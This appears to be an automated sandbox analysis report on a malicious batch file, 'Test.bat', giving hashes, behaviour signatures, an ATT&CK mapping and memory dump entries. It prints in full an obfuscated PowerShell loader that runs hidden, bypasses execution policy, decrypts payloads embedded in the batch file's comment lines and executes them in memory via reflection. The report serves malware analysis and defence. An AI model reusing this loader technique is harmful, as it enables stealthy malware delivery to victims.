d384c9523b0d235f5df58134611d0c3fa2047162f651e9febf24227663c56f70

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
16-06-2024 21:22

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General

Target

Test.bat
Size

1.6MB
MD5

452333fe4f4b6b505f0b2fb6a2f550f0
SHA1

8d609de9e202d5b99e20ec075ef65961477bdf61
SHA256

d384c9523b0d235f5df58134611d0c3fa2047162f651e9febf24227663c56f70
SHA512

98249d468a779a62e8e722505606990e122b724d938ad8082d3a1488abb7ae73b32d9735e189b5ed44e307bfa31f95ad961444afc8152cd7518efb8e3de59034
SSDEEP

24576:ZYCKq2OwSobHA5C+sZ4JdhYJtko4J5AY36KpwoWGRGoeiLfZr3IhKkxOPyxg10dE:5KpbUdo0AK6oWeRhS8PvbR6C

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2824 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2824 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2824 powershell.exe

pid	process
2824	powershell.exe

pid	process
2824	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2496 wrote to memory of 2824	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2824	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2824	2496	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Test.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KqxeXbfDGxuEH+7Gk9Wta61SYaVxTt4rEcHNX9Nuf8I='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kgFcU3INT6PSdo5B4jsRDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VFHTQ=New-Object System.IO.MemoryStream(,$param_var); $nikKe=New-Object System.IO.MemoryStream; $wbesJ=New-Object System.IO.Compression.GZipStream($VFHTQ, [IO.Compression.CompressionMode]::Decompress); $wbesJ.CopyTo($nikKe); $wbesJ.Dispose(); $VFHTQ.Dispose(); $nikKe.Dispose(); $nikKe.ToArray();}function execute_function($param_var,$param2_var){ $VQCvn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VWTPJ=$VQCvn.EntryPoint; $VWTPJ.Invoke($null, $param2_var);}$OfkGU = 'C:\Users\Admin\AppData\Local\Temp\Test.bat';$host.UI.RawUI.WindowTitle = $OfkGU;$bFszc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($OfkGU).Split([Environment]::NewLine);foreach ($rtAAn in $bFszc) { if ($rtAAn.StartsWith(':: ')) { $AKwuR=$rtAAn.Substring(3); break; }}$payloads_var=[string[]]$AKwuR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2824-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Filesize
4KB

Download
memory/2824-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2824-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-6-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/2824-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download